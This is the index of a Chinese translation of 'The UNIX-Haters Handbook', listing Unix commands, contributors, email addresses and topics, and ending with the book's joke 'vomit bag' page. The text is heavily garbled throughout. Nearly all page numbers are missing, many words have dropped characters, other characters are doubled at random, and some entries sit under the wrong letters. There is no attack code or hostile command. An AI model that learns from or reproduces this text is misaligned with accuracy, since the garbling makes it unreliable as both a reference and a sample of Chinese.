备 份 , , <br />
脚 , <br />
beldar@mips.com, <br />
伯 克 利<br />
互 联 磁 带 , <br />
快 ( 且 松 散 的 ) 文 件 系 , <br />
件 错 误 , <br />
BerkNet, <br />
斯 科 特 核 贝 蒂 尔尔 松 , <br />
bhoward@citi.umich.edu, <br />
替 换 , <br />
编 写 程程 序 , <br />
标 准 输 入 / 输 出 , <br />
别 文 件 , <br />
核 克 罗 斯 比 , <br />
病 毒 , , <br />
并 行 计 算 , <br />
bn@ursamajor.uvic.ca, <br />
柏 拉拉 图 的 洞 穴穴 , <br />
艾 伦 核 鲍 宁 , xxiv, , <br />
卡 什 核 伯 斯 提 克 , <br />
托托 马 斯 核 布 罗 伊 尔尔 , <br />
贾 纳 核 C 核 布 朗 , xxvi<br />
bruce@ai.mit.edu, <br />
克 斯 核 布 隆 施 泰 因 , <br />
不 容 时 分 系 , 见 ITS<br />
斯 科 特 核 伯 森森 , xxiii, <br />
C<br />
C++, , <br />
呕 吐 袋袋 , xxv<br />
cat, <br />
catman, <br />
Cedar/Mesa, xviii, xxxi<br />
超 级 用 户户 , <br />
戴 维 核 查 曼 , xxiv, , , , ,
· · 索 引<br />
“ 差 一 点 才 更 好 ” 计 方 法 , <br />
chdir, <br />
成 <br />
隐 藏 的 , <br />
成 人 仪 式 , <br />
程程 序 员 的 化 , <br />
诺 埃 尔尔 核 基 亚 帕 , <br />
新 编 译 内 , <br />
抽 障 碍 症 , <br />
磁 <br />
分 区 , <br />
备 份 , <br />
空空 间 浪 , <br />
过 载 , <br />
思 科 系 , <br />
cj@eno.corp.sgi.com, <br />
clennox@ftp.com, <br />
close, <br />
cmdtool, <br />
德 纳 核 科 , <br />
米 歇 尔尔 核 科 , xxvi<br />
COLOR, <br />
道 格 拉拉 斯 核 科 莫 , <br />
Common Lisp, <br />
comp.arch 新 闻 组 , <br />
comp.emacs, <br />
comp.lang.c++, <br />
comp.unix.questions, <br />
FAQ, <br />
comp.unix.shell, <br />
CORBA, <br />
corwin@polari.UUCP, <br />
cp, , <br />
cpio, , <br />
cpp, <br />
西 摩摩 核 克 雷 , <br />
creat(), <br />
罗 伯 特 核 克 林 格 , <br />
阿 莱 斯 特 核 克 利 , <br />
crypt, <br />
cs.questions, <br />
csh, <br />
, <br />
崩 溃 , <br />
符 链 接接 , <br />
CSH_BUILTINS, <br />
CSNET 中 继 , <br />
CStacy@stony-brook.scrc.<br />
symbolics.com, <br />
错 误<br />
报 告 , <br />
错 误 信 息 , <br />
curses, <br />
制 , <br />
curt@ai.mit.edu, , <br />
帕 维 尔尔 核 柯 蒂 斯 , xxiv, <br />
C 语 言言 编 程程 , --, , , , ,<br />
<br />
数 组 , <br />
整 数 溢 出 , <br />
缩 简 , <br />
处 理 , <br />
大 更 , <br />
D<br />
Dan_Jacobson@att.com, <br />
daniel@mojave.stanford.edu, , <br />
倒 霉 孩 子 , <br />
Data General, <br />
姆 核 戴 维 斯 , xxiv, <br />
马 克 核 E 核 戴 维 斯 , <br />
大 小小 写<br />
讨 人 厌 的 , <br />
大 摇 座 , <br />
DBX 调 试 ,
· ·<br />
debra@alice.UUCP, <br />
exec, , , <br />
DEC, , , , <br />
恶 作 剧 , <br />
DES, <br />
devon@ghoti.lcs.mit.edu, <br />
F<br />
df, <br />
法 国 巴 黎 , <br />
DGUX, <br />
埃 克 核 E 核 尔尔 , <br />
DIAGNOSITICS, <br />
法 网 , <br />
电 传 打 字 机 , <br />
FEATURE-ENTENMANNS, <br />
Display PostScript, <br />
斯 图 尔尔 特 核 尔尔 德 曼 , <br />
DISPLAY 环 境 , <br />
柯 蒂 斯 核 芬 内 尔尔 , , <br />
Distributed Objects Everywhere, 见 DOE<br />
FFS, <br />
地 狱 头 犬 , <br />
fg, <br />
djones@megatest.uucp, <br />
fgrep, <br />
dm@think.com, <br />
file, , <br />
dmr@plan.research.att.com, xxxi<br />
find, , , <br />
DOE, <br />
不 作 , <br />
Domain, <br />
多 选 , <br />
东 非 , xv<br />
符 链 接接 , <br />
力 , <br />
finger, <br />
DOS, , , <br />
fingerd, <br />
保 罗 核 道 内 希 , <br />
flock, <br />
斯 蒂 芬 核 德 雷 珀 , <br />
fork, , <br />
罗 杰 核 杜 菲 , <br />
莱 昂 纳 多 核 福 勒 , <br />
杜 鹃 鸟 蛋 , <br />
FrameMaker, xxvii<br />
约 翰 核 R 核 邓 宁 , xxiv, , <br />
比 约 核 弗 曼 - 班 森森 , <br />
悟 , <br />
fsck, <br />
Dylan, xxiii<br />
FTP, <br />
ftp.uu.net, <br />
ed, , <br />
密 , <br />
egrep, <br />
俄 罗 斯 方 块 , <br />
Emacs, , , <br />
米 尔尔 科 核 艾 斯 坦 , <br />
eric@ucbmonet.berkeley.edu, <br />
米 歇 尔尔 核 斯 特 , xxvi<br />
E<br />
符 链 接接 , <br />
复 写 纸 , xv<br />
G<br />
理 查 德 核 伽 白 列 , , <br />
感 节 周 , <br />
西 蒙 核 格 芬 科 , xxii, <br />
克 斯 核 格 斯 , xxv, , , <br />
GCC,
· · 索 引<br />
GE, <br />
Genera, , <br />
getchar, <br />
getcwd, <br />
getty, <br />
斯 蒂 芬 核 尔尔 德 , <br />
姆 核 贾 尔尔 斯 , <br />
约 翰 核 尔尔 摩摩 , <br />
迪 核 格 鲁 , <br />
唐 核 格 洛 , <br />
glr@ai.mit.edu, <br />
GNU, xxi<br />
文 档 , <br />
gnu.emacs.help, <br />
斯 核 森森 斯 , <br />
詹詹 姆 斯 核 高 斯 林 , , <br />
狗 屁 倒 灶 , <br />
米 歇 尔尔 核 格 兰 特 , <br />
grep, , , , <br />
米 歇 尔尔 核 格 雷 茨 格 , <br />
历 史 录 , <br />
管 道 , <br />
限 制 , <br />
于 Unix 性 的 证 研 究 ,<br />
<br />
硅 谷 , <br />
gumby@cygnus.com, <br />
国 家 全 局 , <br />
H<br />
肯 核 哈 瑞 斯 丁 , xxv, <br />
哈 瑞 奎 师 那 , <br />
弹 , <br />
罗 核 赫 拜 , <br />
尊尊 敬 的 尼 , <br />
Hello World, <br />
hexkey, <br />
约 翰 核 斯 德 尔尔 , <br />
history(shell 内 置 能 ), <br />
大 卫卫 核 希 , xxvi<br />
唐 核 霍 金 斯 , xxiii<br />
葛 蕾 丝 核 莫 核 赫 柏 , <br />
伊 核 霍 斯 威 尔尔 , , <br />
布 鲁 斯 核 豪 尔尔 德 , <br />
惠 , , <br />
视 用 户户 环 境 , <br />
HP-UX, <br />
环 境 <br />
DISPLAY, <br />
PATH, <br />
TERM 和 TERMCAP, <br />
XAPPLRESDIR, <br />
XENVIRONMENT, <br />
糊 涂 大 侦 探探 , <br />
IL, <br />
ian@ai.mit.edu, , , <br />
IBM, <br />
IBM PC<br />
NFS, <br />
档 品 , <br />
ICCCM, <br />
ICE 立立 方 , <br />
ident, <br />
IDG Programmers Press, xxvi<br />
InfoWorld, <br />
inode, <br />
ITS, xviii, , , , <br />
简 洁 美 颂 歌 , <br />
剑 鱼 , xviii, xxxi<br />
交 换 , <br />
I<br />
J
· ·<br />
嚼 烂 的 邮 件 头 , <br />
解解 析 , <br />
程程 , <br />
程程 替 换 , <br />
计 算 机 操 作 系 的 专 门 知 , <br />
jlm%missoula@lucid.com, <br />
jnc@allspice.lcs.mit.edu, <br />
约 翰 尼 端 , <br />
戴 核 琼 斯 , <br />
斯 科 特 核 乔 林 , <br />
迈 克 尔尔 核 乔 , <br />
比 尔尔 核 乔 伊 , <br />
jrd@scrc.symbolics.com, , <br />
jsh, <br />
拒拒 服 , <br />
蟒 与 圣 杯 , <br />
jwz@lucid.com, , <br />
K<br />
开 放 窗窗 文 件 管 理 , <br />
开 放 件 基 金 , <br />
开 放 系 , , <br />
卡 内 基 梅 隆 大 学 , <br />
克 格 勃 , <br />
嗑 过 药 的 MicroVAX 帧 缓 冲 , <br />
户户 程程 序 间 通 信 规 范 手手 册 , <br />
户户 端 , <br />
户户 端 / 服 计 算 模 型 的 信 , <br />
性 , <br />
于 Unix 性 的 证 研<br />
究 , <br />
托托 米 核 凯 利 , <br />
布 莱 核 凯 尔尔 尼 汉汉 , <br />
视 用 户户 环 境 , <br />
key, <br />
kgg@lfcs.ed.ac.uk, <br />
kill 命 , <br />
kinit, <br />
klh@nisc.sri.com, <br />
约 翰 核 克 洛 斯 勒 , xxiii<br />
利 核 克 洛 茨 , , <br />
/etc/passwd 的 空空 行 , <br />
ksh, <br />
计 , <br />
快 ( 且 松 散 的 ) 文 件 系 , <br />
L<br />
斯 坦 利 核 兰 宁 , <br />
lanning@parc.xerox.com, , , <br />
LATEX, <br />
杰 瑞 核 雷 特 , xxv, , <br />
鲁 文 核 勒 纳 , xxvi<br />
大 卫卫 核 莱 特 曼 , <br />
唐 核 利 比 斯 , <br />
约 翰 核 昂 斯 , <br />
历 史 录 替 换 , <br />
Lisp, , <br />
解解 析 , <br />
Lisp 机 , xviii, xxxi, , <br />
Lisp 系 , <br />
lockd, <br />
lockf, <br />
login, <br />
马 克 核 洛 特 , xxiv, , , <br />
lpr, <br />
ls, , , , , , <br />
罗 马 数 字 , xv<br />
路 信 息 协 (RIP), <br />
绿 色 贝 雷 帽 , <br />
M<br />
Mach, , <br />
克 斯 托托 弗 核 前 , xxiv<br />
magic cookie,
· · 索 引<br />
maijinta, <br />
麦 金 塔 , <br />
MAIL*LINK SMTP, <br />
make, , <br />
makewhatis, <br />
man, , --, , , <br />
apropos, <br />
catman, <br />
key, <br />
makewhatis, <br />
程程 序 , <br />
页 , <br />
大 卫卫 核 曼 金 斯 , xxv, , <br />
卡 尔尔 核 R 核 曼 宁 , , <br />
MANPATH, <br />
markf@altdorf.ai.mit.edu, <br />
马 兰 大 学 , xxiii<br />
麻 省 理 大 学 , 见 MIT<br />
马 歇 , <br />
maxslp, <br />
戴 文 核 西 核 麦 卡 洛 , <br />
姆 核 麦 克 唐 纳 , <br />
梅 毒<br />
水水 银 疗 法 , xv<br />
美 国 电 报 电 , 见 AT&T<br />
merlyn@iwarp.intel.com, <br />
Meta 点 击 , xx<br />
马 克 核 莫 伊 尔尔 , <br />
斯 科 特 核 梅 尔尔 斯 , <br />
michael@porsche.visix.com, <br />
米 勒 核 弗 德 森森 等 人 , <br />
命 别 替 换 , <br />
命 补补 全 , <br />
命 <br />
神 秘秘 的 , <br />
命 替 换 , <br />
利 核 明 斯 基 , <br />
艾 伦 核 H 核 明 茨 , <br />
MIT<br />
人 智 能 验 , , , <br />
媒 体 验 , xix<br />
计 算 机 科 学 验 , <br />
计 方 法 , <br />
娜 目 , <br />
MIT-MAGIC-COOKIE-, <br />
mkdir, , <br />
mkl@nw.com, , , <br />
mktmp, <br />
理 查 德 核 马 纳 利 克 , xxv, , , <br />
mmap, <br />
蘑 菇 , <br />
模 拟拟 城 市 , xxiii<br />
more, <br />
罗 伯 特 核 莫 斯 , , , <br />
莫 斯 科 国 机 场 跑 道 , <br />
Motif, <br />
自 渎 套 装装 , <br />
movemail, <br />
MSDOS, , <br />
rename 命 , <br />
mt@media-lab.mit.edu, xix, , <br />
Multics, xviii, xxxi, <br />
mv, , <br />
mvdir, <br />
N<br />
奶 奶 , <br />
奶 油 蛋 糕 , <br />
艾 迪 核 纳 瑟 , <br />
内 存 管 理 , , <br />
net.gods, <br />
特 鲁 迪 核 诺 茵 郝 丝 , xxvi<br />
皮 特 核 纽 曼 , <br />
NeWS, , <br />
新 南 威 尔尔 士 大 学 ,
· ·<br />
NeX, <br />
NeXT, , , <br />
NEXTSTEP, , , , <br />
NeXTWORLD 杂 , <br />
NFS, , , --<br />
magic cookie, <br />
导 出 列 表表 , <br />
苹 果 麦 金 塔 , <br />
麦 金 塔 , <br />
nfsauth, <br />
nick@lcs.mit.edu, <br />
尼 采 , <br />
南 丁 格 尔尔 , <br />
匿匿 , , , , , <br />
ninit, <br />
牛 津 英 语 词 , <br />
唐 纳 德 核 诺 曼 , xi, xxiii<br />
Novell, xv<br />
nroff, <br />
NYSERnet, <br />
O<br />
Objective-C, , <br />
open, <br />
独 占 建 , <br />
Open Look 时 钟 程程 序 , <br />
OpenStep, , <br />
约 瑟 核 奥 萨 纳 , <br />
呕 吐 袋袋 , xxv<br />
P<br />
帕 托托 核 潘 德 亚 , <br />
疱 疹 , <br />
patch, <br />
PATH 环 境 , <br />
pavel@parc.xerox.com, <br />
PC loser-ing, <br />
PDP-, <br />
艾 米 核 佩 德 森森 , xxvi<br />
配 置 文 件 , <br />
拉拉 斯 核 彭 塞 , <br />
艾 伦 核 佩 利 , <br />
pg, <br />
pgs@xx.lcs.mit.edu, <br />
肯 核 派 尔尔 , xv<br />
罗 布 核 派 克 , <br />
ping, <br />
苹 果 电 脑 <br />
邮 件 灾 难 , <br />
苹 果 程程 网 , <br />
苹 果 , <br />
POSIX, <br />
PostScript, <br />
pr, <br />
ps, , <br />
pwd, <br />
前 言言 , xv<br />
青 蛙<br />
死 了 , <br />
全 大 写 模 式 , xii<br />
QuickMail, <br />
QWERTY, <br />
Q<br />
R<br />
Rainbow Without Eyes, <br />
ram@attcan.uucp, <br />
马 斯 核 罗 纳 姆 , <br />
埃 克 核 雷 蒙 德 , xxvi<br />
RCS, , <br />
rdist, <br />
read, <br />
readnews,
· · 索 引<br />
rec.food.recipes, <br />
recv, <br />
recvfrom, <br />
recvmsg, <br />
布 莱 核 瑞 德 , <br />
人 机 交 互 杂 , <br />
任 控 制 , <br />
人 行 道 堵 塞 , <br />
热 情<br />
教 般 的 , <br />
山山 迪 核 瑞 斯 勒 , <br />
RFC, <br />
RFC, <br />
东 京 , <br />
RISKS, , <br />
尼 斯 核 , xxiii, xxxi, , , <br />
Unix 期 发发 布 方 式 , <br />
rk, <br />
rlogin, <br />
rm, --, , , <br />
-i, <br />
rmdir, , <br />
rn, <br />
rna, <br />
斯 蒂 芬 核 罗 斯 , xxv, <br />
斯 莱 斯 , <br />
root, 见 超 级 用 户户<br />
约 翰 核 罗 斯 , xx<br />
贝 丝 核 罗 森森 伯 格 , xxvi<br />
姆 核 罗 斯 凯 德 , <br />
routed, <br />
柔 性 剪 峰 , <br />
杰 瑞 核 罗 伊 兰 斯 , <br />
RPC, <br />
rs@ai.mit.edu, , , <br />
件 臭 虫 , <br />
保 罗 核 鲁 , xxvi, <br />
核 鲁 比 , xxvi<br />
, <br />
瑞 核 扎 尔尔 茨 , xxiv<br />
S<br />
saus@media-lab.mit.edu, <br />
Scheme, <br />
佩 特 核 席 林 , <br />
尔尔 特 核 施 穆穆 克 尔尔 , xxv<br />
兰 德 尔尔 核 L 核 施 瓦 茨 , <br />
SCO, <br />
sdm@cs.brown.edu, <br />
罗 伯 特 核 E 核 西 斯 托托 姆 , xxv, , , ,<br />
, , <br />
斯 蒂 核 , <br />
send, <br />
sendmail, --, , , , <br />
> 来 自 , <br />
历 史 , <br />
配 置 文 件 , <br />
Sendmail 从 简 单 , <br />
sendmsg, <br />
sendto, <br />
set, <br />
SF-Lovers, <br />
SGI Indigo, <br />
sh, <br />
, <br />
Shaped Window 扩扩 展展 (X), <br />
计 简 单 , <br />
计 完 备 性 , <br />
计 一 致 性 , <br />
计 确 性 , <br />
Shell 编 程程<br />
文 件 , <br />
Shell 脚 <br />
编 写 , xv<br />
深 渊 的 火 ,
· ·<br />
市 场 推 广 , <br />
视 频 显 示 端 , <br />
时 数 据据 采 , <br />
奥 林 核 席 瓦 斯 , xxv, , , <br />
手手 册 页 , <br />
数 据据 持 久 化 , <br />
亚 历 山山 大 核 舒 尔尔 金 , xxvi<br />
数 字 备 , 见 DEC<br />
奥 林 核 希 尔尔 伯 特 , <br />
斯 蒂 芬 核 J 核 席 尔尔 瓦 , <br />
C 核 J 核 西 尔尔 弗 奥 , <br />
simsong@nextworld.com, <br />
斯 坦 福 计 风 格 , <br />
死 小小 鬼 笑 , <br />
sleep, , <br />
Smalltalk, <br />
sml, <br />
SMTP, <br />
SOAPBOX_MODE, <br />
帕 特 克 核 苏 巴 瓦 罗 , xxv, <br />
所 罗 门 , <br />
基 尼 核 斯 帕 弗 德 , <br />
利 核 史 赛 , <br />
sra@lcs.mit.edu, <br />
克 斯 托托 弗 核 斯 泰 西 , <br />
Stanley's Tool Works, , <br />
steve@wrs.com, <br />
克 核 斯 托托 尔尔 , xxvi, <br />
斯 蒂 芬 核 斯 特 拉拉 斯 曼 , xxiii, , , <br />
M 核 斯 崔 特 核 罗 斯 , xxv<br />
strings, <br />
strip, xx<br />
stty, <br />
SUID, , <br />
Sun 品 的 点 和 缺 点 , xx<br />
Sun 微 系 , , , , , , , ,<br />
, <br />
锁 文 件 , <br />
Symbolics, 见 Lisp 机 <br />
Systems Anarchist, <br />
T<br />
迪 核 塔 南 鲍 姆 , <br />
tar, , , <br />
个 字 符 的 限 制 , , <br />
tcp-ip@nic.ddn.mil, <br />
TCP/IP 网 互 联 , <br />
tcsh, <br />
telnet, , <br />
TENEX, <br />
Termcap, <br />
termcap, <br />
terminfo, <br />
TERM 和 TERMCAP 环 境 , <br />
TEX, <br />
德 克 萨 斯 大 学 奥 斯 汀 分 校 , <br />
tgoto, <br />
肯 核 汤汤 逊 , , , , <br />
调 试 <br />
Unix 汽汽 车 , , <br />
吐 的 十十 大 理 , <br />
调 试 吐 的 十十 大 理 , <br />
迈 克 尔尔 核 泰 曼 , xxv, , , , ,<br />
<br />
提 姆 核 马 隆 尼 , <br />
tim@hoptoad.uucp, <br />
timeval, <br />
tk@dcs.ed.ac.uk, <br />
tmb@ai.mit.edu, <br />
TNT 包 , <br />
通 用 电 , <br />
TOPS-, xviii, xxxi, <br />
TOPS,Sun 旗 , <br />
touch, <br />
伦 核 小小 陶 尔尔 , xxvi
· · 索 引<br />
帕 克 核 A 核 唐 森森 , <br />
米 歇 尔尔 核 特 拉拉 弗 , xix, xxi, xxvi, , <br />
trn, , <br />
西 奥 多 核 提 索 , <br />
tset, <br />
米 亚 姆 核 塔 克 尔尔 , xxvi<br />
吐 文 件 , <br />
TWENEX 痛 者 , xix<br />
tytso@athena.mit.edu, <br />
U<br />
UDP, <br />
UFS, <br />
ULTRIX, <br />
unalias, <br />
unicode@sun.com, , <br />
Unix<br />
“ 哲 学 ”, <br />
商 标 , xv<br />
度 , xv, <br />
文 件 系 , <br />
汽汽 车 , <br />
蠕蠕 虫 , <br />
计 , xv<br />
化 , <br />
Unix 编 程程 环 境 , <br />
Unix 人 生 , , , <br />
Unix 无 言言 , <br />
UNIX 痛 者<br />
作 者 , xvii<br />
历 史 , xix<br />
声 明 , xxvii<br />
版 式 , xxvi<br />
致 谢 , xxii<br />
Unix 程程 序 员 , <br />
Unix 系 验 , xv<br />
Unix 高 手手 维 护 手手 册 , <br />
unset, <br />
Usenet, , --<br />
七 境 界 , <br />
Usenix, <br />
UUCP, <br />
uuencode, <br />
UUNET, <br />
vacation 程程 序 , <br />
VAX, <br />
VDT, <br />
Veritas, <br />
vi, , <br />
弗 诺 核 文 , <br />
V<br />
VMS, , , , <br />
VOID, <br />
VT, <br />
V 目 , <br />
W<br />
马 修 核 瓦 格 纳 , xxvi<br />
戴 维 核 威 茨 曼 , xxv, <br />
马 克 核 沃沃 科 斯 , <br />
拉拉 核 沃沃 尔尔 , <br />
大 卫卫 核 维 纳 亚 克 核 华 莱 士 , xxv, <br />
布 鲁 斯 核 沃沃 尔尔 , <br />
网 文 件 系 , 见 NFS<br />
网 新 闻 , <br />
Waterside Productions, xxvi<br />
迪 核 沃沃 森森 , xxvi<br />
wc, <br />
W 窗窗 系 , <br />
WCL 包 , <br />
weemba@garnet.berkeley.edu, <br />
微 Windows, , <br />
尼 尔尔 核 魏 斯 , xxiii, , ,
· ·<br />
戴 维 核 魏 斯 , xxvi<br />
图 显 示 , <br />
文 档 , <br />
Shell 文 档 , <br />
内 置 文 档 , <br />
在 线 文 档 , <br />
文 件<br />
删 除 , <br />
字 扩扩 展展 , <br />
字 替 换 , <br />
隐 藏 , <br />
文 件 系 , <br />
杰 明 核 沃沃 , <br />
马 修 核 P 核 维 纳 , <br />
克 斯 托托 弗 核 威 廉 姆 斯 , xxvi<br />
Windows, , , <br />
write, , <br />
writev, <br />
无 氏氏 , , <br />
换 人 , <br />
巫 师 界 , <br />
X<br />
X, --<br />
协 , <br />
包 , <br />
信 , <br />
X/Open, xv, <br />
XAPPLRESDIR 环 境 , <br />
xauth, <br />
xclock, <br />
XDrawRectangle, <br />
Xenix, <br />
XENVIRONMENT 环 境 , <br />
施 , <br />
XFillRectangle, <br />
XGetDefault, <br />
像 素 瘟 疫 , <br />
仙 女 座 病 原原 , <br />
鲜 血血 四 溅 , <br />
星 旅 行 , <br />
新 闻 组 , <br />
限 制 性 的 , <br />
信 息 高 路 , <br />
新 泽 西 计 方 法 , <br />
系 管 理 , <br />
System V<br />
糟 糕 透 顶 , <br />
xload, <br />
xrdb, <br />
xterm, , , <br />
xtpanel, <br />
X 窗窗 系 , <br />
Y<br />
yacc, <br />
娜 目 , <br />
眼 珠 , <br />
药 , <br />
“ 要 做 就就 做 确 ” 计 方 法 , <br />
yduj@lucid.com, <br />
yduJ@scrc.symbolics.com, <br />
拉拉 核 耶 瓦 布 , xxvi<br />
常 , <br />
依 赖 图 , <br />
伊 朗 门 , <br />
隐 藏 文 件 , <br />
因 特 网 , , <br />
因 特 网 程程 任 组 (IETF), <br />
因 特 网 蠕蠕 虫 , , , <br />
魔 界 , <br />
网 , <br />
永永 恒 回 , <br />
用 户户 界 , xii
· · 索 引<br />
用 户户 数 据据 协 , <br />
邮 件 , <br />
邮 件 交 换 服 , <br />
邮 件 列 表表<br />
TWENEX 痛 者 , xix<br />
UNIX 痛 者 , xix<br />
圆 钟 , <br />
字 符 , <br />
约 翰 逊 航 中 心 , <br />
学<br />
计 算 域 的 , <br />
Z<br />
尔尔 核 撒 迦 利 亚 , xxv, <br />
杰 米 核 扎 瓦 斯 基 , xxv, , , <br />
任 感 , <br />
Zeta C, xxiii<br />
指指 环 闷 葫 芦 , <br />
指指 环 王 , <br />
状 , <br />
专 利 , xxvii<br />
SUID, <br />
网 , <br />
自 是 , <br />
自 件 基 金 , xxxi, <br />
Zmacs, <br />
教 般 的 热 情 , <br />
杰 明 核 , <br />
zsh, <br />
作 业<br />
jobs 命 , <br />
中 , <br />
zvona@gang-of-four.stanford.edu, ,<br />
, , <br />
约 翰 尼 核 茨 威 格 ,
UNIX<br />
呕 吐 袋<br />
吐 啊 吐 啊 就 习 惯 了<br />
UNIX 痛 恨 者 手 册 友 情 赠 送